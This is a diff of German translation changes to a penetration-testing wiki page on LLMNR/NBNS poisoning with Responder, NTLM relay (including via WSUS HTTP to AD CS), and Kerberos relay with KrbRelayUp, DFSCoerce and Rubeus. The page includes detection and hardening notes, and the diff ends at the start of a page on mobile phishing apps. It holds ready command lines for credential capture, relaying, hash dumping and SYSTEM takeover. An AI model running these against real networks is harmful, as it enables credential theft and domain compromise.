- Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Knacken: `responder -I <Interface> --lm --disable-ess`
- WPAD-Impersoinierung kann aktiviert werden mit: `responder -I <Interface> --wpad`
+- Um Responder mit den Standard-Einstellungen auszuführen: `responder -I <Interface>`
+- Für aggressiveres Probing (mit möglichen Nebenwirkungen): `responder -I <Interface> -P -r -v`
+- Techniken zum Erfassen von NTLMv1 Challenges/Responses für einfacheres Cracking: `responder -I <Interface> --lm --disable-ess`
+- WPAD-Imitation kann aktiviert werden mit: `responder -I <Interface> --wpad`
 - NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: `responder.py -I <interface> -Pv`

-### DHCP-Vergiftung mit Responder
+### DHCP Poisoning with Responder

- Das Spoofing von DHCP-Antworten kann die Routinginformationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
- Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks.
- Angriff ausführen: `./Responder.py -I eth0 -Pdv`
- Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden.
+- Das Spoofen von DHCP-Antworten kann dauerhaft die Routing-Informationen eines Opfers vergiften und ist eine unauffälligere Alternative zu ARP-Poisoning.
+- Es erfordert exakte Kenntnisse über die Konfiguration des Zielnetzwerks.
+- Ausführung des Angriffs: `./Responder.py -I eth0 -Pdv`
+- Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältiges Vorgehen, um Netzwerkstörungen zu vermeiden.

-### Erfassen von Anmeldeinformationen mit Responder
+### Capturing Credentials with Responder

- Responder wird Dienste impersonifizieren, die die oben genannten Protokolle verwenden, und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
- Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.
+- Responder wird Dienste mit den oben genannten Protokollen imitieren und Anmeldeinformationen (in der Regel NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
+- Es können Versuche unternommen werden, auf NetNTLMv1 herunterzustufen oder ESS zu deaktivieren, um das Cracken zu erleichtern.

-Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.
+Es ist entscheidend zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen muss; es ist eine entsprechende Autorisierung sicherzustellen und Störungen oder unbefugten Zugang zu vermeiden.

 ## Inveigh

-Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**Wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
+Inveigh ist ein Tool für penetration testers und red teamers, konzipiert für Windows-Systeme. Es bietet ähnliche Funktionen wie Responder und führt Spoofing- sowie Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einem C#-Binary weiterentwickelt, wobei [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) die Hauptversionen sind. Detaillierte Parameter und Anleitungen finden sich im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).

 Inveigh kann über PowerShell betrieben werden:
 ```bash
@ -60,18 +60,18 @@ Oder als C#-Binary ausgeführt:
 ```bash
 Inveigh.exe
 ```
-### NTLM Relay Angriff
+### NTLM Relay Attack

-Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen, und gewährt eine System-Shell, wenn er erfolgreich ist. Wichtige Voraussetzungen sind:
+Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen und liefert bei Erfolg eine System-Shell. Wichtige Voraussetzungen sind:

- Der authentifizierende Benutzer muss lokalen Admin-Zugriff auf den weitergeleiteten Host haben.
- SMB-Signierung sollte deaktiviert sein.
+- Der authentifizierende Benutzer muss auf dem relayed Host Local Admin-Zugriff haben.
+- SMB signing sollte deaktiviert sein.

-#### 445 Port-Weiterleitung und Tunneling
+#### 445 Port Forwarding and Tunneling

-In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Verkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, den Verkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokaler Admin-Zugriff für das Laden von Treibern verfügbar ist.
+In Szenarien, in denen eine direkte Netzwerk-Einführung nicht möglich ist, muss der Traffic auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, Port-445-Traffic auf einen anderen Port umzuleiten, was essenziell ist, wenn Local Admin-Zugriff zum Laden eines Treibers verfügbar ist.

-PortBender-Setup und -Betrieb in Cobalt Strike:
+PortBender-Einrichtung und -Betrieb in Cobalt Strike:
 ```bash
 Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

@ -87,17 +87,17 @@ beacon> jobkill 0
 beacon> rportfwd stop 8445
 beacon> socks stop
 ```
-### Andere Werkzeuge für NTLM Relay-Angriffe
+### Weitere Tools für NTLM Relay Attack

- **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
- **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.
+- **Metasploit**: Mit proxies sowie Details zu lokalem und entferntem Host konfigurieren.
+- **smbrelayx**: Ein Python-Skript zum Weiterleiten von SMB-Sitzungen und zum Ausführen von Befehlen oder Bereitstellen von Backdoors.
+- **MultiRelay**: Ein Tool aus der Responder suite zum Weiterleiten bestimmter Benutzer oder aller Benutzer, Ausführen von Befehlen oder Dumpen von Hashes.

-Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.
+Jedes Tool kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS proxy betrieben wird, wodurch Angriffe auch bei indirektem Netzwerkzugang möglich sind.

 ### MultiRelay-Betrieb

-MultiRelay wird aus dem _**/usr/share/responder/tools**_ Verzeichnis ausgeführt, wobei spezifische IPs oder Benutzer angevisiert werden.
+MultiRelay wird aus dem _**/usr/share/responder/tools**_ Verzeichnis ausgeführt und zielt auf bestimmte IPs oder Benutzer ab.
 ```bash
 python MultiRelay.py -t <IP target> -u ALL # Relay all users
 python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,51 +105,111 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

 # Proxychains for routing traffic
 ```
-Diese Tools und Techniken bilden ein umfassendes Set für die Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.
+Diese Tools und Techniken bilden eine umfassende Sammlung zur Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

-### NTLM-Logins erzwingen
+### Missbrauch von WSUS HTTP (8530) für NTLM Relay zu LDAP/SMB/AD CS (ESC8)

-In Windows **könnten Sie in der Lage sein, einige privilegierte Konten zu zwingen, sich an beliebigen Maschinen zu authentifizieren**. Lesen Sie die folgende Seite, um zu erfahren, wie:
+WSUS-Clients authentifizieren sich beim Update-Server mit NTLM über HTTP (8530) oder HTTPS (8531). Wenn HTTP aktiviert ist, können periodische Client-Check-ins im lokalen Segment erzwungen oder abgefangen und mit ntlmrelayx an LDAP/LDAPS/SMB- oder AD CS-HTTP-Endpunkte (ESC8) weitergeleitet werden, ohne Hashes zu cracken. Das fügt sich in normalen Update-Traffic ein und führt häufig zu Maschinenkonto-Authentifizierungen (HOST$).

+What to look for
+- GPO/Registry-Konfiguration unter HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate und ...\WindowsUpdate\AU:
+- WUServer (z. B. http://wsus.domain.local:8530)
+- WUStatusServer (Reporting-URL)
+- UseWUServer (1 = WSUS; 0 = Microsoft Update)
+- DetectionFrequencyEnabled und DetectionFrequency (Stunden)
+- WSUS SOAP-Endpunkte, die von Clients über HTTP verwendet werden:
+- /ClientWebService/client.asmx (approvals)
+- /ReportingWebService/reportingwebservice.asmx (status)
+- Standard-Ports: 8530/tcp HTTP, 8531/tcp HTTPS
+
+Reconnaissance
+- Unauthenticated
+- Scan nach Listenern: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
+- HTTP-WSUS-Traffic per L2 MITM sniffen und aktive Clients/Endpunkte mit wsusniff.py protokollieren (HTTP-only, außer Sie bringen den Clients bei, Ihrem TLS-Zertifikat zu vertrauen).
+- Authenticated
+- SYSVOL-GPOs nach WSUS-Keys parsen mit MANSPIDER + regpol (wsuspider.sh Wrapper fasst WUServer/WUStatusServer/UseWUServer zusammen).
+- Endpunkte in großem Maßstab von Hosts abfragen (NetExec) oder lokal:
+nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
+reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
+
+End-to-End HTTP-Relay-Schritte
+1) Positionieren für MITM (gleiche L2), sodass ein Client den WSUS-Server auf Sie auflöst (ARP/DNS poisoning, Bettercap, mitm6, etc.). Beispiel mit arpspoof:
+arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
+
+2) Port 8530 auf Ihren Relay-Listener umleiten (optional, praktisch):
+iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
+iptables -t nat -L PREROUTING --line-numbers
+
+3) ntlmrelayx mit dem HTTP-Listener starten (erfordert Impacket-Support für HTTP-Listener; siehe PRs unten):
+ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
+
+Weitere übliche Ziele:
+- Relay zu SMB (wenn Signing off) für exec/dump: -t smb://<host>
+- Relay zu LDAPS für Verzeichnisänderungen (z. B. RBCD): -t ldaps://<DC>
+- Relay zu AD CS Web Enrollment (ESC8), um ein Cert zu minten und dann via Schannel/PKINIT zu authentifizieren:
+ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
+Für tiefere AD CS-Abuse-Pfade und Tools siehe die AD CS-Seite:
+
+{{#ref}}
+../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+{{#endref}}
+
+4) Einen Client-Check-in auslösen oder auf den Zeitplan warten. Vom Client:
+wuauclt.exe /detectnow
+oder die Windows Update UI verwenden (Check for updates).
+
+5) Die authentifizierten SOCKS-Sessions nutzen (falls -socks) oder direkte Relay-Ergebnisse für Post-Exploitation verwenden (LDAP-Änderungen, SMB-Operationen oder AD CS-Zertifikatsausstellung für spätere Authentifizierung).
+
+HTTPS-Einschränkung (8531)
+- Passive Interception von WSUS über HTTPS ist wirkungslos, es sei denn, Clients vertrauen Ihrem Zertifikat. Ohne ein vertrauenswürdiges Zertifikat oder eine andere TLS-Break-Methode kann der NTLM-Handshake aus WSUS-HTTPS-Traffic nicht geerntet/relayed werden.
+
+Notes
+- WSUS wurde als deprecated angekündigt, ist aber weiterhin weit verbreitet; HTTP (8530) ist in vielen Umgebungen noch üblich.
+- Nützliche Helfer: wsusniff.py (HTTP-WSUS-Check-ins beobachten), wsuspider.sh (WUServer/WUStatusServer aus GPOs auflisten), NetExec reg-query in großem Maßstab.
+- Impacket stellte HTTP-Listener-Support für ntlmrelayx in PR #2034 wieder her (ursprünglich in PR #913 hinzugefügt).
+
+### Force NTLM Logins
+
+Unter Windows können Sie möglicherweise einige privilegierte Konten dazu zwingen, sich an beliebigen Maschinen zu authentifizieren. Lesen Sie die folgende Seite, um zu erfahren, wie:

 {{#ref}}
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

-## Kerberos Relay-Angriff
+## Kerberos Relay attack

-Ein **Kerberos Relay-Angriff** stiehlt ein **AP-REQ-Ticket** von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den **gleichen Computer-Kontenschlüssel** teilt (da beide SPNs auf demselben `$` Maschinenkonto sitzen). Dies funktioniert, obwohl die **Dienstklassen der SPNs unterschiedlich sind** (z. B. `CIFS/` → `LDAP/`), da der *Schlüssel*, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String kein Teil der Signatur ist.
+Ein **Kerberos relay attack** stiehlt ein **AP-REQ ticket** von einem Service und verwendet es gegen einen zweiten Service wieder, der denselben **Computer-Account-Key** teilt (weil beide SPNs auf demselben `$` Maschinenkonto sitzen). Das funktioniert, obwohl die Serviceklassen der SPNs **unterschieden** sind (z. B. `CIFS/` → `LDAP/`), weil der Schlüssel, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String ist kein Teil der Signatur.

-Im Gegensatz zum NTLM-Relay ist der Sprung auf den *gleichen Host* beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in die **ressourcenbasierte eingeschränkte Delegation (RBCD)** oder **AD CS-Registrierung** einsteigen und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt übernehmen.
+Im Gegensatz zum NTLM-Relay ist der Hop auf denselben Host beschränkt, aber wenn Sie ein Protokoll anvisieren, das Schreibzugriff auf LDAP erlaubt, können Sie in **Resource-Based Constrained Delegation (RBCD)** oder **AD CS enrollment** kaskadieren und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt erlangen.

-Für detaillierte Informationen zu diesem Angriff überprüfen Sie:
+Für detaillierte Informationen zu diesem Angriff siehe:

 - [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
 - [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)

- 1. **Kerberos-Grundlagen**
+- 1. **Kerberos basics**

-| Token | Zweck | Relevanz für Relay |
+| Token | Purpose | Relay relevance |
 |-------|---------|-----------------|
 | **TGT / AS-REQ ↔ REP** | Beweist den Benutzer gegenüber dem KDC | unberührt |
-| **Dienstticket / TGS-REQ ↔ REP** | An ein **SPN** gebunden; mit dem Schlüssel des SPN-Eigentümers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
-| **AP-REQ** | Client sendet `TGS` an den Dienst | **was wir stehlen & wiedergeben** |
+| **Service ticket / TGS-REQ ↔ REP** | An einen **SPN** gebunden; verschlüsselt mit dem Schlüssel des SPN-Eigentümers | austauschbar, wenn SPNs dasselbe Konto teilen |
+| **AP-REQ** | Client sendet `TGS` an den Service | **was wir stehlen & replayen** |

-* Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das das SPN besitzt**, verschlüsselt.
-* Der **Authenticator** im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
-* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise problemlos auf `LDAP/HOST` entschlüsselt wird.
+* Tickets sind mit dem aus dem Passwort abgeleiteten Schlüssel des Kontos verschlüsselt, das den SPN besitzt.
+* Der **Authenticator** im AP-REQ hat einen 5-Minuten-Timestamp; Replay innerhalb dieses Fensters ist gültig, bis der Service-Cache einen Duplikat-Eintrag sieht.
+* Windows prüft selten, ob der SPN-String im Ticket mit dem Service übereinstimmt, den Sie ansprechen, daher entschlüsselt ein Ticket für `CIFS/HOST` normalerweise auch auf `LDAP/HOST` korrekt.

- 2. **Was muss wahr sein, um Kerberos zu relayen**
+- 2. **Was erfüllt sein muss, um Kerberos zu relayn**

-1. **Geteilter Schlüssel:** Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
-2. **Kein Kanal-Schutz:** SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
-3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Poisoning, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiges DCOM usw.
-4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
-5. Sie müssen irgendwie in der Lage sein, ein **MitM in der Kommunikation** durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.
+1. **Shared key:** Quell- und Ziel-SPNs gehören demselben Computerkonto (Standard bei Windows-Servern).
+2. **No channel protection:** SMB/LDAP-Signing aus und EPA für HTTP/LDAPS aus.
+3. **Sie können Authentifizierung abfangen oder erzwingen:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, etc.
+4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt, oder blockieren es vollständig; andernfalls löst der Server-Replay-Cache Event 4649 aus.
+5. Sie müssen auf irgendeine Weise in der Lage sein, ein **MitM in der Kommunikation** durchzuführen — z. B. Teil der DNSAdmins-Gruppe sein, um die DNS der Domain zu ändern, oder die HOST-Datei des Opfers ändern können.

-### Kerberos Relay Schritte
+### Kerberos Relay Steps

- 3.1 **Recon den Host**
+- 3.1 **Recon the host**
 ```powershell
 # find servers where HTTP, LDAP or CIFS share the same machine account
 Get-ADComputer -Filter * -Properties servicePrincipalName |
@ -163,20 +223,20 @@ Select Name,servicePrincipalName
 # one-click local SYSTEM via RBCD
 .\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
 ```
-`KrbRelayUp` bündelt **KrbRelay → LDAP → RBCD → Rubeus → SCM-Bypass** in einer Binärdatei.
+`KrbRelayUp` fasst **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** in einer Binärdatei zusammen.

- 3.3 **Kerberos-Authentifizierung erzwingen**
+- 3.3 **Coerce Kerberos auth**
 ```powershell
 # coerce DC to auth over SMB with DFSCoerce
 .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
 ```
-DFSCoerce lässt den DC ein Kerberos `CIFS/DC01` Ticket an uns senden.
+DFSCoerce veranlasst den DC, ein Kerberos `CIFS/DC01`-Ticket an uns zu senden.

- 3.4 **Leite die AP-REQ weiter**
+- 3.4 **AP-REQ weiterleiten**

-KrbRelay extrahiert den GSS-BLOB aus SMB, verpackt ihn in einen LDAP-Bind und leitet ihn an `ldap://DC01` weiter – die Authentifizierung gelingt, weil der **gleiche Schlüssel** ihn entschlüsselt.
+KrbRelay extrahiert den GSS-Blob aus SMB, verpackt ihn in einen LDAP-Bind und leitet ihn an `ldap://DC01` weiter — die Authentifizierung gelingt, weil der **derselbe Schlüssel** ihn entschlüsselt.

- 3.5 **Missbrauche LDAP ➜ RBCD ➜ SYSTEM**
+- 3.5 **LDAP ➜ RBCD ➜ SYSTEM missbrauchen**
 ```powershell
 # (auto inside KrbRelayUp) manual for clarity
 New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -184,47 +244,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
 Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
 SCMUACBypass.exe
 ```
-You now own **NT AUTHORITY\SYSTEM**.
+Du besitzt nun **NT AUTHORITY\SYSTEM**.

-### **Weitere Wege, die es wert sind, bekannt zu sein**

-| Vektor | Trick | Warum es wichtig ist |
-|--------|-------|---------------------|
-| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client baut eine AP-REQ direkt zu dir | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
-| **DCOM / MSRPC** | Bösartiger OXID-Resolver zwingt den Client, sich bei beliebigem SPN und Port zu authentifizieren | Reine *lokale* Privilegieneskalation; umgeht die Firewall |
-| **AD CS Web Enroll** | Relay-Maschinen-Ticket an `HTTP/CA` und erhalte ein Zertifikat, dann **PKINIT**, um TGTs zu erstellen | Umgeht LDAP-Signierungsabwehr |
-| **Shadow Credentials** | Schreibe `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |
+### **Weitere Pfade, die man kennen sollte**
+
+| Vector | Trick | Warum es wichtig ist |
+|--------|-------|----------------------|
+| **AuthIP / IPSec** | Ein gefälschter Server sendet eine **GSS-ID payload** mit beliebigem SPN; der Client baut einen AP-REQ direkt an dich | Funktioniert sogar über Subnetze hinweg; machine creds by default |
+| **DCOM / MSRPC** | Bösartiger OXID resolver zwingt den Client, an ein beliebiges SPN und Port zu authen | Pure *local* priv-esc; umgeht die Firewall |
+| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | Umgeht LDAP signing-Schutzmaßnahmen |
+| **Shadow Credentials** | Schreibe `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Kein Hinzufügen eines Computer-Accounts nötig |

 ### **Fehlerbehebung**

 | Fehler | Bedeutung | Lösung |
 |-------|---------|-----|
-| `KRB_AP_ERR_MODIFIED` | Ticket-Schlüssel ≠ Ziel-Schlüssel | Falscher Host/SPN |
-| `KRB_AP_ERR_SKEW` | Uhrzeit > 5 Minuten Abweichung | Zeit synchronisieren oder `w32tm` verwenden |
-| LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwende AD CS-Pfad oder deaktiviere die Signierung |
-| Event 4649 Spam | Dienst sah doppelten Authenticator | blockiere oder überhole das ursprüngliche Paket |
+| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | Falscher Host/SPN |
+| `KRB_AP_ERR_SKEW` | Uhrzeitabweichung > 5 min | Zeit synchronisieren oder `w32tm` verwenden |
+| LDAP bind fails | Signing erzwungen | AD CS-Pfad verwenden oder Signing deaktivieren |
+| Event 4649 spam | Service hat doppelten Authenticator gesehen | Originalpaket blockieren oder in einem Race angreifen |
+

 ### **Erkennung**

-* Anstieg von **Event 4769** für `CIFS/`, `HTTP/`, `LDAP/` aus derselben Quelle innerhalb von Sekunden.
-* **Event 4649** im Dienst zeigt an, dass ein Replay erkannt wurde.
-* Kerberos-Anmeldung von **127.0.0.1** (Relay zu lokalem SCM) ist sehr verdächtig—über die Sigma-Regel in den KrbRelayUp-Dokumenten abbilden.
-* Achte auf Änderungen an den Attributen `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink`.
+* Anstieg bei **Event 4769** für `CIFS/`, `HTTP/`, `LDAP/` von derselben Quelle innerhalb von Sekunden.
+* **Event 4649** beim Service deutet auf Replay hin.
+* Kerberos-Logon von **127.0.0.1** (relay to local SCM) ist sehr verdächtig — über Sigma rule in den KrbRelayUp docs abbilden.
+* Beobachte Änderungen an `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink` Attributen.

 ## **Härtung**

-1. **Erzwinge LDAP- und SMB-Signierung + EPA** auf jedem Server.
-2. **Teile SPNs** auf, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
-3. Patch-Coercion-Vektoren (PetitPotam KB5005413, DFS, AuthIP).
-4. Setze **`ms-DS-MachineAccountQuota = 0`**, um unerwünschte Computeranmeldungen zu stoppen.
-5. Alarmiere bei **Event 4649** und unerwarteten Loopback-Kerberos-Anmeldungen.
+1. **Enforce LDAP & SMB signing + EPA** auf jedem Server durchsetzen.
+2. **Split SPNs**, sodass HTTP nicht auf demselben Konto wie CIFS/LDAP liegt.
+3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
+4. Setze **`ms-DS-MachineAccountQuota = 0`**, um rogue computer joins zu verhindern.
+5. Alarm bei **Event 4649** und unerwarteten Loopback-Kerberos-Logons.

-## Referenzen
+
+
+## References

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
 - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
+- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
+- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
+- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
+- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
+- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
+- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
+- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
+- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@ -1,67 +1,67 @@
-# Mobile-Phishing & Verbreitung bösartiger Apps (Android & iOS)
+# Mobile Phishing & Malicious App Distribution (Android & iOS)

 {{#include ../../banners/hacktricks-training.md}}

 > [!INFO]
-> Diese Seite beschreibt Techniken, die von Threat Actors verwendet werden, um **bösartige Android-APKs** und **iOS mobile-configuration profiles** über Phishing (SEO, Social Engineering, Fake-Stores, Dating-Apps, etc.) zu verbreiten.
-> Das Material basiert auf der SarangTrap-Kampagne, aufgedeckt von Zimperium zLabs (2025), und weiterer öffentlicher Forschung.
+> Diese Seite behandelt Techniken, die von threat actors verwendet werden, um **malicious Android APKs** und **iOS mobile-configuration profiles** über phishing (SEO, social engineering, fake stores, dating apps usw.) zu verbreiten.
+> Das Material wurde aus der SarangTrap-Kampagne, die von Zimperium zLabs (2025) veröffentlicht wurde, und anderen öffentlichen Forschungen adaptiert.

 ## Angriffsablauf

 1. **SEO/Phishing-Infrastruktur**
-* Registrierung Dutzender Look-alike-Domains (Dating, cloud share, Autodienst…).
-– Nutzung lokaler Schlüsselwörter und Emojis im `<title>`-Element, um in Google zu ranken.
-– Auf derselben Landing-Page sowohl Android (`.apk`) als auch iOS-Installationsanweisungen hosten.
-2. **Erste Stufe: Download**
+* Registriere Dutzende look-alike Domains (dating, cloud share, car service …).
+– Verwende lokale Sprach-Keywords und Emojis im `<title>`-Element, um bei Google zu ranken.
+– Hoste *both* Android (`.apk`) und iOS Installationsanweisungen auf derselben Landing-Page.
+2. **Erster Download**
 * Android: direkter Link zu einer *unsigned* oder „third-party store“ APK.
-* iOS: `itms-services://` oder plain HTTPS-Link zu einem bösartigen **mobileconfig**-Profile (siehe unten).
-3. **Social Engineering nach der Installation**
-* Beim ersten Start fragt die App nach einem **Einladungs-/Verifikationscode** (Illusion exklusiven Zugriffs).
-* Der Code wird **per POST über HTTP** an das Command-and-Control (C2) gesendet.
-* C2 antwortet `{"success":true}` ➜ Malware setzt sich fort.
-* Sandbox-/AV-Dynamikanalysen, die niemals einen gültigen Code senden, sehen **kein bösartiges Verhalten** (Evasion).
+* iOS: `itms-services://` oder ein normaler HTTPS-Link zu einem bösartigen **mobileconfig** profile (siehe unten).
+3. **Post-Install Social Engineering**
+* Beim ersten Start fragt die App nach einem **Einladungs-/Verifizierungscode** (Illusion exklusiven Zugangs).
+* Der Code wird **POSTed over HTTP** an das Command-and-Control (C2).
+* C2 antwortet `{"success":true}` ➜ malware continues.
+* Sandbox / AV dynamic analysis, die niemals einen gültigen Code übermittelt, sieht **kein malicious behaviour** (Evasion).
